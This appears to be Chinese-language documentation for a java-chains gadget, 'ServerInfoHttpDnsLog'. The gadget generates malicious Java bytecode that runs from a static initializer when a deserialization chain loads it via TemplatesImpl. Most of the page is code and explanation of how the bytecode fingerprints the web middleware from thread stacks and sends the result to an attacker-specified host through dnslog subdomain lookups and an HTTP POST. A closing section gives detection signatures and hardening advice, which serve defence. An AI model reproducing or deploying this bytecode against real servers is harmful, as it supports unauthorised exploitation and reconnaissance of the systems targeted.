- 类别:bytecode 别名:— 优先级:—(未设置)
- 字节码模板:
- 作者:Pen4uin
- 依赖:无第三方依赖(仅用 Javassist 生成字节码 + JDK 标准库
java.net)
生成一段「中间件探测 + 出网回显」的恶意字节码:当这段字节码被目标 JVM 加载并触发静态初始化时,会通过分析当前线程调用栈指纹识别所运行的 Web 中间件/框架(tomcat、weblogic、jetty、spring 等),并把识别结果同时经 DNS(dnslog 子域)与 HTTP POST 两条通道外带到攻击者指定的 host。它是一个链尾(END)的字节码 sink,用于在盲打场景下确认「字节码是否成功执行」以及「目标究竟是什么中间件」。
- 入口
tags:Bytecode、ENDBytecode—— 标记本 gadget 产出的是一段「原始类字节码」(byte[]),可被上游字节码装载器承接。上游 BytecodeConvert(tags=BytecodeConvertTag,nextTags=Bytecode)正是通过该标签把本字节码包装成实现AbstractTranslet的类,进而塞入TemplatesImpl,由newTransformer()/defineClass触发执行。END—— 标记本 gadget 是链尾终点,其后不再衔接任何 gadget。
- 衔接
nextTags:空。作为终点不向下游注入标签。 excludes:空。无互斥约束。
@GadgetTags(tags={"Bytecode", "END"})
@GadgetAnnotation(name="生成使用dnslog探测中间件的字节码", authors={"Pen4uin"})
public class ServerInfoHttpDnsLog implements Gadget {
@Param(name="IP:PORT或者域名",
description="把检测到的中间件内容发送到指定的IP:PORT,或者dnslog中,eg: x.dnslog.cn")
public String host;
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(ServerInfoHttpDnsLogBytecode.class);
javassistHelper.modifyStringField("host", this.host); // 把用户填写的 host 注入模板类的 static 字段
byte[] bytecode = javassistHelper.getBytecode(); // 导出改写后的类字节码
return bytecode;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END 终点:内层不产出实际对象,仅走完链协议
return this.getObject(); // 返回 byte[],交由上游 Bytecode 装载器处理
}
}逐段解释:
getObject()以预编译的模板类ServerInfoHttpDnsLogBytecode为蓝本,用JavassistHelper.modifyStringField("host", this.host)把用户配置的host常量改写进模板类的静态字段host,再getBytecode()导出为byte[]。恶意逻辑本身早已写死在模板类里,Gadget 只负责「填参数 + 取字节码」。invoke()遵循 java-chains 由内向外的构建协议先调用chain.doCreate(context);但本 gadget 是END终点,内层没有实际对象要包装,随后直接return this.getObject()把字节码作为最内层产物交给上游。
该类的恶意逻辑全部挂在静态初始化块 → 构造器上,因此只要类被「加载并初始化」(例如经 TemplatesImpl.newTransformer() 触发 defineClass + 实例化)即自动执行:
static {
new ServerInfoHttpDnsLogBytecode(); // 类一旦被初始化即触发
}
public ServerInfoHttpDnsLogBytecode() {
serverTypes = getServerType(); // 1. 指纹识别中间件
sendServerType(); // 2. 经 DNS(dnslog) 外带
http(); // 3. 经 HTTP POST 外带
}1)中间件指纹识别 —— 读当前线程调用栈,按类名前缀归类:
public static Set getServerType() {
HashSet<String> serverTypes = new HashSet<>();
Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
...
serverTypes.add("START");
...
for (StackTraceElement element : stackTraceElements) {
if (element.getClassName().contains("org.apache.catalina.core")) serverTypes.add("tomcat");
if (element.getClassName().contains("weblogic.servlet.internal")) serverTypes.add("weblogic");
if (element.getClassName().contains("com.caucho.server")) serverTypes.add("resin");
if (element.getClassName().contains("org.eclipse.jetty.server")) serverTypes.add("jetty");
if (element.getClassName().contains("com.ibm.ws")) serverTypes.add("websphere");
if (element.getClassName().contains("io.undertow.server")) serverTypes.add("undertow");
if (element.getClassName().contains("glassfish")) serverTypes.add("glassfish");
// 另含 tongweb / bes / coldfusion / cvicse / primeton / apusic / kingdee /
// NettyHttpServerHandler / ChannelHandler / spring 等国产及框架指纹
...
}
serverTypes.add("END");
return serverTypes;
}它用 Thread.getAllStackTraces() 取到(首个线程的)栈帧,遍历每一帧的类名做 contains 匹配,命中即把对应中间件标签加入集合,并用 START/END 作为「结果起止哨兵」。若一个都没匹配到则回落为 none。
2)DNS 通道外带(dnslog):
private static void sendServerType() {
for (String type : serverTypes) {
domain_res = String.format("%s.%d.%s", type, System.nanoTime(), host); // eg: tomcat.<nanotime>.x.dnslog.cn
InetAddress.getAllByName(domain_res); // 触发一次 DNS 解析 → dnslog 记录到
}
}把每个识别到的中间件类型拼成 type.<纳秒时间戳>.<host> 子域并做一次 DNS 解析——只要 host 填的是 dnslog 域名,攻击者就能在 dnslog 平台看到形如 tomcat.xxxx.x.dnslog.cn 的解析记录,从而同时确认「字节码执行成功」和「中间件类型」。加纳秒时间戳是为绕过 DNS 缓存、保证每次都真实出网。
3)HTTP 通道外带:
public static void http() {
StringBuilder sb = new StringBuilder();
for (String type : serverTypes) sb.append(type + "\n");
URL url = new URL("http://" + host);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type", "application/json; utf-8");
connection.setRequestProperty("User-Agent",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5622.127 Safari/137.36");
connection.setDoOutput(true);
try (OutputStream os = connection.getOutputStream()) {
os.write(sb.toString().getBytes(Charset.forName("UTF-8"))); // POST body 为换行分隔的中间件列表
}
...
}当 host 填的是 IP:PORT(可 HTTP 访问的攻击者服务器)时,还会把识别结果以换行分隔的文本 POST 到 http://<host>。因此本 gadget 的 host 一参两用:既可作 dnslog 子域,也可作 HTTP 回连地址。
| 字段 | 名称 | 说明 | 类型 | 默认 | 可选值 |
|---|---|---|---|---|---|
host |
IP:PORT或者域名 | 探测结果的外带目标:可填 dnslog 域名(走 DNS 回显),也可填可访问的 IP:PORT(走 HTTP POST 回显)。eg: x.dnslog.cn |
String | 无(需手填) | 自由字符串 |
- 无版本/依赖约束:模板类只用
java.net.InetAddress/HttpURLConnection/Thread.getAllStackTraces等 JDK 标准 API,不引第三方库,跨 JDK 通用。 - 能否落地取决于「谁来加载这段字节码」:本身只是
byte[],需上游装载器把它变成会被初始化的类。经典路径是 BytecodeConvert 将其改造为AbstractTranslet子类塞进TemplatesImpl,再由某条反序列化链触发newTransformer();此路径受TemplatesImpl生效条件约束(如高版本 JDK 的模块化限制)。 - 双通道冗余设计:DNS 与 HTTP 并行,任一条出网即可拿到结果,适合出网策略不明的盲打探测;DNS 更易穿透仅放行 UDP/53 的环境,HTTP 能带回更完整的类型列表。
- 哨兵语义:结果集固定含
START/END,可据此在 dnslog/HTTP 侧判断「回显是否完整」;none表示栈里未命中任何已知指纹。 - 局限:只抽取
Thread.getAllStackTraces()返回中的(迭代器首个)线程栈做匹配,若触发点所在线程栈未包含中间件特征类,可能仅回显START/END/none而识别不到具体类型。
自由构件,未直接出现在任何预设链(usedInChains 为空)。通常按需手工组合到「字节码装载类」链路末端使用,典型形态:[..., BytecodeConvert, ServerInfoHttpDnsLog](BytecodeConvert 承接其 Bytecode 标签)。
- 上游(承接
Bytecode的装载器):BytecodeConvert - 同族探测型字节码 sink(均为
Bytecode,END):- ServerDetectorWithDNSLog —— 同样做中间件指纹识别,但仅 DNS 单通道回显(参数为
domain),无 HTTP POST。 - DNSLog —— 最精简的 dnslog 出网探测,仅验证字节码可执行,不做中间件识别。
- DNSLogWithInfo、DNSLogAndHttp —— 携带更多主机信息 / DNS+HTTP 组合出网的变体。
- ServerDetectorWithDNSLog —— 同样做中间件指纹识别,但仅 DNS 单通道回显(参数为
- DNS 侧特征:出现形如
tomcat.<数字>.<域>、weblogic.<数字>.<域>、spring.<数字>.<域>以及带START./END./none.前缀的可疑子域解析请求;同一时刻批量、带纳秒级时间戳前缀的多条子域是强指纹。 - HTTP 侧特征:服务器主动向外发起
POST /,Content-Type: application/json; utf-8、固定User-Agent: ...Chrome/114.0.5622.127 Safari/137.36,请求体为tomcat\nspring\nSTART\nEND这类换行分隔的短文本。 - 主机/字节码侧特征:应用进程内动态定义的类在静态初始化块中
new自身、调用Thread.getAllStackTraces()并随即发起InetAddress.getAllByName/HttpURLConnection;类名多为随机短名(经 BytecodeConvert 随机化)。 - 加固建议:
- 收敛服务器出网(DNS 递归解析与出站 HTTP 白名单),阻断 dnslog 类平台域名与未知回连地址。
- 对反序列化入口做类型白名单,重点拦截
TemplatesImpl/AbstractTranslet的加载路径,切断「字节码 → 定义类 → 静态初始化执行」链条。 - 运行期以 RASP/字节码校验拦截「静态块中调用
Thread.getAllStackTraces后立即出网」的异常行为模式。